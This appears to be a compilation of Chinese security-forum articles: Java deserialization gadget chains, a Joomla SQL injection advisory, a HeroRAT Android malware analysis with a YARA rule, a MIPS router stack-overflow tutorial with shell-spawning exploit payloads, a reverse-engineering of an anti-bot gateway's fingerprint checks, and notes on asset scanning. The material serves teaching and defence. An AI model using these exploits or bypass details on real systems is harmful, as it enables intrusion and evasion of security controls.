* `HashSet.readObject()`反序列化各元素后，会调用`HashMap.put()`将结果放进去，而它通过`TiedMapEntry.hashCode()`计算hash时，会调用`getValue()`触发`LazyMap.get()`导致命令执行
* Groovy1
* 命令执行载体：`org.codehaus.groovy.runtime.MethodClosure`
* 反序列化载体：`AnnotationInvocationHandler`
* `AnnotationInvocationHandler.readObject()`在通过`memberValues.entrySet()`获取`Entry`集合，该`memberValues`被代理给`ConvertedClosure`拦截`entrySet`方法，根据`MethodClosure`的构造最终会由`ProcessGroovyMethods.execute()`执行系统命令
* Hibernate1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`通过`TypedValue.hashCode()`计算hash时，`ComponentType.getPropertyValue()`会调用`PojoComponentTuplizer.getPropertyValue()`获取到`TemplatesImpl.getOutputProperties`方法并调用导致命令执行
* Hibernate2
* 命令执行载体：`com.sun.rowset.JdbcRowSetImpl`
* 反序列化载体：`HashMap`
* 执行过程与Hibernate1一致，但Hibernate2并不是传入`TemplatesImpl`执行系统命令，而是利用`JdbcRowSetImpl.getDatabaseMetaData()`调用`connect()`连接到远程RMI
* JBossInterceptors1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.jboss.interceptor.proxy.InterceptorMethodHandler`
* `InterceptorMethodHandler.readObject()`在`executeInterception()`时，会根据`SimpleInterceptorMetadata`拿到`TemplatesImpl`放进`ArrayList`中，并传入`SimpleInterceptionChain`进行初始化，它在调用`invokeNextInterceptor()`时会导致命令执行
* JSON1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`将各元素放进`HashMap`时，会调用`TabularDataSupport.equals()`进行比较，它的`JSONObject.containsValue()`获取对象后在`PropertyUtils.getProperty()`内动态调用`getOutputProperties`方法，它被代理给`CompositeInvocationHandlerImpl`，其中转交给`JdkDynamicAopProxy.invoke()`，在`AopUtils.invokeJoinpointUsingReflection()`时会传入从`AdvisedSupport.target`字段中取出来的`TemplatesImpl`，最终导致命令执行
* JavassistWeld1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.jboss.weld.interceptor.proxy.InterceptorMethodHandler`
* 除JBoss部分包名存在差异外，与JBossInterceptors1基本一致
* Jdk7u21
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`LinkedHashSet`
* `LinkedHashSet.readObject()`将各元素放进`HashMap`时，第二个元素会调用`equals()`与第一个元素进行比较，它被代理给`AnnotationInvocationHandler`进入`equalsImpl()`，在`getMemberMethods()`遍历`TemplatesImpl`的方法遇到`getOutputProperties`进行调用时，导致命令执行
* MozillaRhino1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`BadAttributeValueExpException`
* `BadAttributeValueExpException.readObject()`调用`NativeError.toString()`时，会在`ScriptableObject.getProperty()`中进入`getImpl()`，`ScriptableObject$Slot`根据`name`获取到封装了`Context.enter`方法的`MemberBox`，并通过它的`invoke()`完成调用，而之后根据`message`调用`TemplatesImpl.newTransformer()`则会导致命令执行
* Myfaces1
* 命令执行载体：`org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`通过`ValueExpressionMethodExpression.hashCode()`计算hash时，会由`getMethodExpression()`调用`ValueExpression.getValue()`，最终导致EL表达式执行
* Myfaces2
* 命令执行载体：`org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression`
* 反序列化载体：`HashMap`
* 执行过程与Myfaces1一致，但Myfaces2的EL表达式并不是由使用者传入的，而是预制了一串加载远程恶意对象的表达式
* ROME
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`通过`ObjectBean.hashCode()`计算hash时，会在`ToStringBean.toString()`阶段遍历`TemplatesImpl`所有字段的Setter和Getter并调用，当调用到`getOutputProperties()`时将导致命令执行
* Spring1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider`
* `SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()`在调用`TypeProvider.getType()`时被代理给`AnnotationInvocationHandler`得到另一个Handler为`AutowireUtils$ObjectFactoryDelegatingInvocationHandler`的代理，之后传给`ReflectionUtils.invokeMethod()`动态调用`newTransformer`方法时被第二个代理拦截，它的`objectFactory`字段是第三个代理，因此`objectFactory.getObject()`会获得`TemplatesImpl`，最终导致命令执行
* Spring2
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider`
* `SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()`在动态调用`newTransformer`方法时，被第二个代理拦截交给`JdkDynamicAopProxy`，它在`AopUtils.invokeJoinpointUsingReflection()`时会传入从`AdvisedSupport.targetSource`字段中取出来的`TemplatesImpl`，最终导致命令执行
根据上面这些内容，我们可以得到几条简单的POP构造法则：
1. 当依赖中不存在可以执行命令的方法时，可以选择使用`TemplatesImpl`作为命令执行载体，并想办法去触发它的`newTransformer`或`getOutputProperties`方法
2. 可以作为入口的通用反序列化载体是`HashMap`、`AnnotationInvocationHandler`、`BadAttributeValueExpException`和`PriorityQueue`，它们都是依赖较少的JDK底层对象，区别如下：
* `HashMap`，可以主动触发元素的`hashCode`和`equals`方法
* `AnnotationInvocationHandler`，可以主动触发`memberValues`字段的`entrySet`方法，本身也可以作为动态代理的Handler进入自己的`invoke`方法
* `BadAttributeValueExpException`，可以主动触发`val`字段的`toString`方法
* `PriorityQueue`，可以主动触发`comparator`字段的`compare`方法
## 总结
历年来，很多流行的Java组件框架都被爆出过反序列化漏洞，这已经有好多大牛们都进行过分析总结了，本文的主要目的也不在此，而是为了去深挖反序列化漏洞底层一些可能还没有被唤醒的地方。
不过有一点要切记，反序列化不止RCE。
## 参考
1. [JavaSE Document](https://docs.oracle.com/javase/8/docs/)
2. [Java OpenJDK Source Code](http://hg.openjdk.java.net/)
3. [Java OpenJDK Github Mirror](https://github.com/unofficial-openjdk/openjdk/) | 社区文章 |
# Joomla 3.2 到 3.4.4 注入漏洞允许管理员权限访问站点
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/>
译文仅供参考，具体内容表达以及含义原文为准。
**受影响版本:3.2 到 3.4.4**
**补救措施:**
如果你正在使用低版本的joomla,请立即去官方更新到最新版<https://github.com/joomla/joomla-cms/releases/download/3.4.5/Joomla_3.4.5-Stable-Full_Package.zip>
**
**
**概述:**
漏洞出在核心模块,因此不需要任何扩展,所有使用joomla 3.2以上版本的站点,都受此漏洞影响
/administrator /components
/com_contenthistory/models/history.php,漏洞出在getListQuery()函数,代码如下
当请求
能够通过注入从数据库里返回session ID
如果得到的是管理员的session ID ,则可以通过修改当前浏览器的cookies里的session ID ,然后访问/administrator/
就可以登陆后台了。
**更多技术细节:**
<https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/> | 社区文章 |
本文翻译自：ZLAB恶意软件分析报告《HeroRAT: Analyzing the Telegram based Android malware》
<http://csecybsec.com/download/zlab/20180802_CSE_HeroRAT.pdf>
* * *
2018年6月， ESET的安全研究人员发现了一个安卓远程管理工具（Remote Administration
Tool，RAT）家族——HeroRAT，HeroRAT 通过Telegram BOT API与攻击者进行通信。使用Telegram
API已经成为Android RAT威胁场景的一种新趋势，HeroRAT之前已经有TeleRAT、IRRAT等RAT家族使用这种技术了。
HeroRAT在伊朗非常活跃，主要通过第三方应用商店、社交媒体和即时通信应用进行传播。
研究人员推测HeroRAT的部分代码来自于其他恶意软件。HeroRAT的一些特征看起来与IRRAT
和TeleRAT明显不同，而一些特征来源于Xamarin框架和TeleSharp库。
HeroRAT的出售价格根据功能分为三种，下图是三个版本的比较：
图 1 HeroRAT三个不同版本比较
# 恶意软件分析
这三个变种来自相同的RAT，但被用不同的package名，图标和僵尸控制器用户名重新打包了。本文只对其中一个样本进行深入分析。
恶意应用请求的权限如下图所示：
图 2 RAT请求的权限
安装完成后，应用会显示“This application can’t run on your
device（应用无法在你的设设备上运行）”这样的信息，然后展示一个假的卸载过程。
图 3 RAT假的卸载消息
然后APP的图标会从主页移除，但RAT还以服务模式（service-mode）在系统中运行。
图 4 RAT仍在系统中运行
为了隐藏APP图标并让RAT后台运行，攻击者将setComponentEnabledSetting设置为disabled，并指定了参数DontKillApp，如下图所示：
图 5 -用于隐藏APP图标的代码
上图还说明应用会检查设备，然后根据系统选择的语言展示消息。
# 恶意软件与Xamarin
对APK软件分析发现，有一个名为assemblies的文件夹，含有下面的DLL：
图 6 来自Xamarin 的DLLs
这些来源于Xamarin框架的库可以让恶意软件作者用C#语言开发安卓应用。
上面列表中还有TeleSharp库，是C#实现Telegram Bot API的库，直接基于TeleSharp API，因此，恶意软件的开发就非常简单了。
图 7 – TeleSharp库
因为使用了Xamarin框架，所有的Java源代码文件只含有代码封装，而真实的代码都在android.os.dll文件中了。而反编译dll文件就比较简单了。
# RAT 功能和特征
通过分析源代码，研究人员发现该RAT有所有RAT的经典功能，比如读短信和通话记录、获取位置信息、开关机、下载文件等等：
图 8 – RAT的功能
Telegram僵尸的MainTokenn作为RAT的C2出现在源代码中：
图 9 - Telegram僵尸的MainToken
还可以查询Telegram REST API获取僵尸主机的用户名，然后发送命令给僵尸主机：
图 10 – Bot信息
图 11 -与僵尸主机通信
但是，僵尸主机并没有接收研究人员发送的命令，回复的信息是“You Cant Use Of Bot Before Register In This
Bot”。说明僵尸主机只接受来自特定源的命令，这在源代码中也得到了验证，源代码中有发送者id和Manager
id的比较。三种样本唯一的区别也就是Manager ID和僵尸主机的MainToken。
图 12 - Sender ID检查
下图是样本中的Manager用户名：
图 13 - Manager用户名
通过该用户名，研究人员找到了Telegram上的manager(botmaster)：
图 14 – Manager账户
# Yara Rules
rule HeroRAT {
meta:
description = "Yara Rule to individuate some samples of HeroRAT Android malware"
author = "CSE CybSec Enterprise - ZLab"
last_updated = "2018-07-31"
tlp = "white"
category = "informational"
strings:
$a = "assemblies/TeleSharp.dll"
$b = "assemblies/Mono.Android.dll"
$c = {49 64 00 67 65 74 5F 4D 79 4D 61 6E 61 67 65 72}
$d = {52 65 70 6C 79 4D 65 73 73 49 64 00 73 65 74 5F 43 68 61 74 49 64}
condition:
$a and $b and ($c or $d)
} | 社区文章 |
# 路由器漏洞挖掘之栈溢出入门（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
MIPS 指令集主要使用在一些嵌入式的 IOT 设备中，比如路由器，摄像头。要对这些设备进行二进制的漏洞挖掘就需要有对 MIPS 有一定的熟悉。MIPS
指令集的栈溢出与 x86 指令集的有所不同，所以漏洞的利用方式也不太相同，但是溢出的思路是一样的：覆盖返回地址、劫持程序控制流、构造 ROP chain
、写 shellcode 等等。本文介绍一下最基本的 MIPS 指令集下的栈溢出的利用方法。
## x86 和 MIPS 指令集的差异
1.MIPS 指令系统大量使用寄存器，包括返回地址也是存放在 ra 寄存器中
2.没有堆栈直接操作的指令， **也就是没有 push 和 pop 指令**
3.所有指令都是 32 位编码，也就是说所有的数据和指令都是 4 字节对齐。
> 由于 MIPS 固定指令长度，所以造成其编译后的二进制文件和内存占用空间比 x86 的要大
> MIPS 指令集使用 uclibc C 标准库，x86 使用 libc 的 C 标准库
基本的指令用法和两者的差异可以参考这里：
<https://blog.csdn.net/gujing001/article/details/8476685>
## MIPS 的动态调试
在 qemu 上开启一个调试端口（-g 指定端口号），在 IDA 上使用 Remote GDB debugger，填上端口号和主机名即可
./qemu-mipsel -g 23946 xxxx
具体的步骤可以看这里
<https://www.jianshu.com/p/9841b412af37>
* 也可以使用 gdb 进行调试，但是 gdb 需要使用专门支持 mips 指令集的 gdb 版本
## 叶子函数和非叶子函数
叶子函数和非叶子函数是两个非常重要的概念，两者的一些特性照成了对栈溢出利用方式的差异。
在某个函数中， **如果这个函数不调用其他函数，那么就这个称为叶子函数** 。反则这个函数就是非叶子函数
### 举个例子
main 函数为叶子函数，函数中没有调用其他函数
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
}
}
main 函数为非叶子函数，函数调用了其他函数（printf）
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
printf("sum = %d",sum);
}
}
* 叶子函数的返回地址是直接放在 ra 寄存器中，而非叶子函数需要调用另外的函数，这里的差异就照成了 **非叶子函数需要把当前的返回地址暂时存放在栈上**
1.非叶子函数， **有 sw $ra,xxx 的操作** ，在函数退出时，会将存放在栈上的原来存放 ra 寄存器的值重新赋值到 ra 寄存器中
2.叶子函数，没有 sw $ra,xxx 的操作
## 简单的栈溢出
用一个代码
has_stack 函数存在栈溢出，该函数是非叶子函数， **可以溢出到存放返回地址栈空间，劫持程序流**
* 这里可以直接溢出到调用 vuln 函数，也就是最基本的 rop ： **ret2text** （返回到程序已有的代码空间中，这里返回到 vuln 函数的空间中）
#include <stdio.h>
void vuln(){
system("/bin/sh");
}
void has_stack(char *src){
char dst[20] = {0};
strcpy(dst,src);
printf("copy success!n");
}
void main(int argc,char *argv[]){
has_stack(argv[1]);
}
### 动态分析
在 has_stack 函数调用 strcpy 时，下断点
开启服务器的远程调试：
nick@nick-machine:~/iot/program$ ./qemu-mipsel -g 23946 StackOverflow2 aaaaaaaaaaaaaaaaaa
在 IDA 连接上 gdb调试后，F9 运行到断点处，单步两次。 **这里 strcpy 函数的两个参数 a0、a1，函数的作用是将 a1
地址处的数据复制到 a0 地址处**
没有对 a1 的地址的数据长度做限制，所以存在栈溢出。
F8 单步步过以后，看到输入的数据已经存放到栈上了，也可以很清楚的看到返回地址的位置。
计算偏移，得到 exp：
./qemu-mipsel StackOverflow2 `python -c "print 'a'*28+'x90x03x40x00'"`
本地运行，成功拿到 shell
### has_stack 函数栈帧的排布情况
简单画了一个图，便于理解（ **这里的栈的高地址在上** ）
栈的生长方向为低地址向高地址，缓冲区溢出时就向 main 函数的区域溢出，控制程序流也就需要溢出到原来的 main + 30 处的栈空间
## ROP chain 的利用
在 IDA 中寻找并构造 ROP chain 是使用 mipsrop.py 这个脚本来辅助 查找的：
<https://github.com/devttys0/ida/tree/master/plugins/mipsrop>
* 这个脚本 **只支持 IDA 6.8** ，不支持 6.8 以上的版本
### 用法
有几个主要的用法：
mipsrop.stackfinder() 寻找栈数据可控的 rop，建立和 a0、a1 寄存器的关系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 寻找命令执行的的rop
mipsrop.find(xxx) 查找 find 函数参数的 rop，类似正则匹配
### 例子
这里举一个《揭秘家用路由器 0day 漏洞挖掘技术》里面的例子，来详细说明 ROP chain 的使用方法
#### 源码
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system_0(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = 'x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!n");
}
fclose(fp);
}
溢出是在 main 函数中，很明显 **main 函数是一个非叶子函数** ，所以 main 的返回地址是存放在栈上的，可以覆盖到返回地址，控制程序流
但是当我要要调用 do_system_0 函数时，他的第二个参数是在 a1 当中的，我们可控的只有栈上的内容，那个要找的 ROP chain 也就是
**需要将栈上的内容赋值给 a1 寄存器的汇编语句**
可以直接使用 mipsrop.stackfinder() 命令来找找看
Python>mipsrop.stackfinder()
---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------------- | 0x00401D40 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
* 在原来的 main 函数的中返回地址是 __uClibc_main 函数
### 分析
虚拟机中开启动态调试，IDA 连接上
./qemu-mipsel -g 23946 vuln_system
首先是 main 函数中的栈溢出，这里要调用 rop 的地址
因为存放 ra 寄存器的栈空间被覆盖，此时的 ra 寄存器存放的就为 rop 的地址了。
跳转到 rop 的栈空间时，我们再进行分析：
addiu $ai,$sp,0x58+var_40 等价于 a1 = sp+0x18
lw $ra,0x58+var_4($sp) 等价于 ra = sp+0x54
jr $ra 跳到返回地址
所以这里可以分析出来， **栈的排布情况：a1 在上，ra 在下，中间还有一段空间需要填充**
图中的此时已经是被我填充好了的情况
最后可以得到 exp
### exp 的详细分析
python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
'a' * 0x108 在 main 函数的栈空间填充到返回地址
'x00x40x1Dx40' ROP chain 的地址
'b' * 24 填充为 do_system_0 的第一个参数
x2fx62x69x6e'+'x2fx73x68x00' /bin/sh 字符串
'c'*0x34 填充
'x00x40x03x90' 填充返回地址，调用 do_system_0 函数
将这个程序运行起来，会读取 passwd 中的内容 **填充到程序的栈空间中** ，这样就可以得到 shell
## 总结
MIPS 的二进制漏洞挖掘中，最基础的栈溢出也就是一些简单的 rop 的利用，希望大家能多动手进行调试，在调试发现问题并慢慢进步~ | 社区文章 |
## 〇、前言
xxx是一款用于前端防御自动化工具的安全网关，核心代码由服务器下发给客户端执行，通过cookie将执行结果带回，再根据js获取的前端数据判断用户是否异常，完成安全检测
## 一、代码入口
js计算结果通过cookie传给服务器，参数名为：8PHkpr8y、JF7cGtR5、SflKxwRJ
经过调试分析，代码明文存放在`ng_dynamic_defend`文件中，核心逻辑位于尾部这几行
## 二、读取配置
`get_global（）`函数读取配置信息，放入`_global_config`中
window.config = 'eyJmaW5nZXIiOnsibmFtZSI6IkpGN2NHdFI1In0sImJvdCI6eyJlbmFibGVkIjp0cnVlLCJuYW1lIjoiOFBIa3ByOHkifSwic3VibWl0Ijp7ImVuYWJsZWQiOnRydWUsIm5hbWUiOiJVVmpES082biIsInVybCI6IiJ9LCJ0b2tlbiI6eyJlbmFibGVkIjp0cnVlLCJuYW1lIjoiU2ZsS3h3UkoiLCJ1cmwiOiJqc190ZXN0LmNvbTsiLCJpc19jaGVja191cmkiOnRydWUsImlzX2NoZWNrX2dldCI6dHJ1ZX0sImNvbnRlbnQiOnsiZW5hYmxlZCI6ZmFsc2UsIm5hbWUiOiJTZmxLeHdSSiIsImNvbmZ1c2VfdHlwZSI6IjAifSwic2NyaXB0Ijp7ImlzX2FudGlfZGVidWciOmZhbHNlfX0=';
!function (global) {
function _base64_parse(e) {
return CryptoJS.enc.Base64.parse(e).toString(CryptoJS.enc.Utf8)
}
function get_global() {
var e = _base64_parse(global.config),
t = JSON.parse(e);
_global_config = global.nY1vq7Gi = t
}
}(window);
/*
{
"finger": {
"name": "JF7cGtR5"
},
"bot": {
"enabled": true,
"name": "8PHkpr8y"
},
"submit": {
"enabled": true,
"name": "UVjDKO6n",
"url": ""
},
"token": {
"enabled": true,
"name": "SflKxwRJ",
"url": "js_test.com;",
"is_check_uri": true,
"is_check_get": true
},
"content": {
"enabled": false,
"name": "SflKxwRJ",
"confuse_type": "0"
},
"script": {
"is_anti_debug": false
}
}
*/
## 三、数据采集
以下三个函数会使用到window对象来采集客户端数据：
* get_tool_feature() 获得工具特征
* get_browser_feature() 获得浏览器特征
* get_fingerprint() 获得浏览器指纹
### 3.1 get_tool_feature()
get_webdriver() //window.navigator.webdriver
get_phantomjs() //window.navigator.userAgent
get_bot() //检测关键字：'__webdriver_evaluate','__selenium_evaluate','__webdriver_script_function','__webdriver_script_func','__webdriver_script_fn','__fxdriver_evaluate','__driver_unwrapped','__webdriver_unwrapped','__driver_evaluate','__selenium_unwrapped','__fxdriver_unwrapped''_phantom','__nightmare','_selenium','callPhantom','callSelenium','_Selenium_IDE_Recorder'
get_navigator_for_tool() //window.navigator.languages
get_canvas_for_tool() //window.document.createElement('canvas').getContext
get_storage_for_tool() //window.localStorage && window.sessionStorage
get_consol() //window.console.log(1)
get_awvs() //检测关键字：'SimpleDOMXSSClass','MarvinHooks','MarvinPageExplorer','HashDOMXSSClass'
get_appscan() //检测关键字：'appScanSendReplacement','appScanOnReadyStateChangeReplacement','appScanLoadHandler','appScanSetPageLoaded'
### 3.2 get_browser_feature()
get_indexedDB() //window.indexedDB
get_openDatabase() //window.openDatabase
get_localStorage() //window.localStorage
get_sessionStorage() //window.sessionStorage
get_audio() //window.AudioContext.destination
get_file() //'object' == typeof File || 'function' == typeof File
isCanvasSupported() //window.document.createElement('canvas').getContext
isWebGlSupported() //window.WebGLRenderingContext || window.document.createElement('canvas').getContext('webgl')
get_plugins() //window.navigator.plugins
get_languages() //window.navigator.languages
get_platform() //window.navigator.platform
get_cpuClass() //_navigator.cpuClass
get_hardwareConcurrency() //_navigator.hardwareConcurrency
get_namespaces() //window.document.namespaces
get_documentMode() //window.document.documentMode
get_ActivexObject() //window.document.ActivexObject
get_StyleMedia() //window.StyleMedia
get_opera() //window.opera
get_firefox() //'undefined' != typeof InstallTrigger
get_chrome() //window.chrome
get_safari() ///constructor/i.test(window.HTMLElement) || '[object SafariRemoteNotification]' === (!window.safari || safari.pushNotification).toString()
### 3.3 get_fingerprint()
get_indexedDB() //window.indexedDB
get_openDatabase() //window.openDatabase
get_localStorage() //window.localStorage
get_sessionStorage() //window.sessionStorage
get_audio() //window.AudioContext.destination
get_file() //'object' == typeof File || 'function' == typeof File
get_canvas() //window.document.createElement('canvas')
get_webgl() //window..document.createElement('canvas').getContext('webgl')
get_webgl_render() //window.document.createElement('canvas').getContext('webgl')
get_plugins() //window.navigator.plugins
get_language() //window.navigator.language || window.navigator.userLanguage || window.navigator.browserLanguage || window.navigator.systemLanguage ||
get_languages() //window.navigator.languages
get_platform() //window.navigator.platform
get_cpuClass() //window.navigator.cpuClass
get_hardwareConcurrency() //window.navigator.hardwareConcurrency
get_timezone_offset() //(new Date).getTimezoneOffset()
get_timezone() //window.Intl && window.Intl.DateTimeFormat
get_screen_ratio() //window.screen.width / window.screen.height * 100
get_screen_resolution() //window.screen.availHeight + 'X' + window.screen.availWidth + 'X' + window.screen.availLeft + 'X' + window.screen.availTop
get_touch_support() //window.navigator.maxTouchPoints || window.navigator.msMaxTouchPoints
get_media_devices() //window.navigator.mediaDevices && window.navigator.mediaDevices.enumerateDevices
get_battery() //window.navigator.getBattery
get_adBlock() //window.document.getElementsByClassName('adsbox') [0].offsetHeight
get_userAgent() //window.navigator.userAgent
### 3.4 数据处理
`set_bot_cookie()`、`set_fingerprint()`两个函数分别将`tool_feature`、`browser_feature`与`fingerprint`加密写入到cokie中，变量名为：`8PHkpr8y`、`JF7cGtR5`
* set_bot_cookie()
* set_fingerprint()
## 四、 事件监听
### 4.1 a标签
设置`EventListenerEx()`监听，当页面加载完成时触发`load_func()`，对当前cookie执行base64编码操作，并设置参数名为`KBwtGA`
function confuse_cookie() {
var e;
_document.cookie && 0 != _global_config.content.enabled && '1' == _global_config.content.confuse_type && (e = _document.cookie, clearAllCookie(), CookieUtil.set('KBwtGA', btoa(e)))
}
当发生点击事件时触发`a_click_handler()`，对请求地址添加令牌，变量名为`SflKxwRJ`
`replace_url()`调用`get_token()`生成加密tonken
### 4.2 form表单
设置`EventListenerEx()`监听，当发生表单事件时触发`form_hook()`，调用`get_submit()`对表单内数据加密，参数名为`UVjDKO6n`，调用`get_token()`生成加密tonken，参数名为`SflKxwRJ`
### 4.3 ajax请求
当发生ajax事件时触发`ajax_hook()`，对不同请求方式做了单独处理
监听到get请求时调用`get_body_for_get()`对args数据使用`get_token()`加密，监听到post请求时调用`get_body_for_post()`对请求体`get_submit()`加密、对url使用`replace_url()`调用`get_token()`生成加密tonken
## 五、总结
xxx的核心代码未经过加密或混淆以明文形式下发，格式化后通过调试分析比较容易弄清楚执行逻辑，代码主要实现以下两个功能：
1. 采集window或者navigator的部分特征值，按位计算形成一个整数，再利用rc4算法加密，指纹特征存放在cookie中`JF7cGtR5`、工具特征存放在cookie中`8PHkpr8y`
2. 设置`a标签`、`form表单`、`ajax请求`监听，触发时对数据内容调用`get_submit()`使用rc4算法加密、对url调用`get_token()`使用rc4算法计算token令牌 | 社区文章 |
# MyKings: 一个大规模多重僵尸网络
##### 译文声明
本文是翻译文章，文章原作者 netlab.360.com，文章来源：netlab.360.com
原文地址：<http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
注：本文为“小米安全中心”原创，转载请联系“小米安全中心”：<https://sec.xiaomi.com/>
1.指纹识别
指纹识别是扫描器的雷达卫星，能在真正需要的时候准确命中目标，指纹识别不仅仅包括Web服务器，还包括设备资产的指纹，一个IP对应的是一台服务器还是一台个人机还是一台打印机？这意味着安全域是不同的，攻下他需要的武器更是不一样。
Web框架指纹扫描在大型甲方公司其实需求并不是非常迫切，成型的框架比如WordPress，Drupal，Joomla！，Discuz!
等使用并不多，多是官方论坛，某个部门的对外Blog之类，多数是进行了二次开发，这里以WordPress举例指纹扫描：
* 使用Whatweb集群进行Web指纹扫描，发现公司某站点使用了WordPress。
* WPscan继续进行扫描，发现该站点WordPress版本号，主题，插件。插件版本，后台，存在admin用户
* 在漏洞库进行查询，发现某插件版本过低，存在SQLi漏洞
* 根据漏洞情况，产出安全报警，包括该网站负责人，IP，域名，所在IDC，漏洞详情
* 安全运维同学跟进修复漏洞，如果发现入侵事件，由安全管理同学进行安全事件管理流程。
其实我们更加关心的是开发框架，比如Status2，Laravel，自研开发框架等，由于使用面广，业务线分布密集，出现安全事故的话会导致非常严重的后果，所以会采用Whatweb服务集群或者自研的方式进行扫描，并且该类型指纹只有在网站进行大规模的重构上线的时候会有变化，其他时间不会有频繁的变动，所以在非漏洞爆发阶段，这类指纹扫描间隔可以非常大，不会对服务器造成额外的压力。
大型互联网公司的网络边界越来越模糊，很多服务器存在多种漏洞，并且无限制的连接IDC/办公网，一旦被攻破就是个绝佳的跳板。这种情况越是大公司越是明显，安全的木桶效应。
IP相关信息运维部门会比较了解，部门间进行合作可以拿到全IP对应的相关信息，但是，依然不能保证这份IP就是全IP，这就要从流量镜像入手了，从流量中发现未在IP库中的机器，只要有网络请求，就不愁发现不了。进而扩充安全资产IP库，但是实施的时候会发现由于网络划分的问题其实也并不能全部发现IP。
IP资产信息包括OS，设备信息，端口，服务，这能让你知道这个IP背后到底是交换机还是打印机，上面都跑了什么服务，这些服务的版本（如果有），对应存在的漏洞就能直接进行扫描，可以在漏洞发现的第一时间进行全资产扫描，精准的发现存在漏洞的资产范围，所属部门，并且可以非常快的进行漏洞修复流程。每一次的漏洞爆发都是和攻击者的一次赛跑，也许，攻击者手中也有一份类似的指纹库。
架构上主要使用Nmap集群服务，Nmap的CPE数据持续更新，要保证我们的设备可以被正确的识别。
由于设备上的服务可能会不断的新增/变更，不能保证每一次的新增/变更都是安全的，所以采用轮询的扫描机制，持续更新IP资产库，尽性能的可能，保证这份IP资产库保持最新。
讲个由此发生的成功入侵的故事：某公司给员工提供了开发机，原本这类开发机的默认安全规则是不对外网开放的，但是这台开发机上个使用者申请开了外网权限，回收的时候出现BUG，并没有取消外网权限，然而新的使用者对此并不知情。
新的开发同学使用了Redis数据库，开放了外连，并且没有密码。被攻击者扫描到以后获取了服务器权限，偏偏服务器上有开发中的代码（这是必然会有的），审计发现了线上服务器的安全漏洞，并得到了其他内网服务的用户名密码，这里面包括了内网用户密码、数据库用户名密码。结果造成了非常严重的安全事件。
由此可见，员工的安全意识完全不可以信任，依然要使用技术手段进行安全管理与识别。
图1 指纹识别流程
2.资产管理
前面说了很多的资产库的问题，引出了甲方安全最头痛的事：资产管理。各位SRC的同学应该深深的明白优秀的资产管理到底有多重要，漏洞审计完了，找不到接口人，有的甚至各个部门都不认，安全工单发不出，愁死人。
资格管理分为：
* 数据资产
* 设备资产
数据资产可以通过DNS，流量，爬虫，配置管理等部门获取，这个可以比较主动的通过技术的方法拿。
而设备资产除了找相关部门获取以外，技术方面只能通过流量和扫描的方式进行获取，然而比较麻烦的是，由于网络的原因，有可能某些机器的流量是不通过你的交换机或者无法网络不可达，所以技术方式并不能发现所有的设备，导致数据缺失。
业务部门是安全的第一责任人，在安全部门输出安全能力的情况下，可以推动业务部门来推动资产管理和其他安全事项。这样多管齐下，尽可能的完善安全的资产管理体系，方法和思路很多，在此不再赘述。
当然，资产管理不可能做到面面俱到，每台服务器，每个业务100%都能准确的找到负责人，所以这种情况下安全风险必须知会到合适的层级，并得到相应合理的对待。
3.数据管理
从各个数据源传输过来的数据要经过一系列的处理，才能最后进入我们的资产库，供各项扫描器调用。
首先URL数据是最为庞大的，未经去重的URL数据（GET请求和部分POST请求）数据，量级极为恐怖，如果不经过处理直接入库，会对后端扫描器和业务方造成极大的压力，所以URL入库前的处理，是扫描器开发的一个难点。
主要思路是数据清洗后再进行相应的预处理，这是大数据处理的基础办法：
（1）URL清洗，首先将完全不需要URL数据进行清洗，包括图片，友好404页面等
（2）URL规范化（[注1](https://en.wikipedia.org/wiki/URL_normalization)）
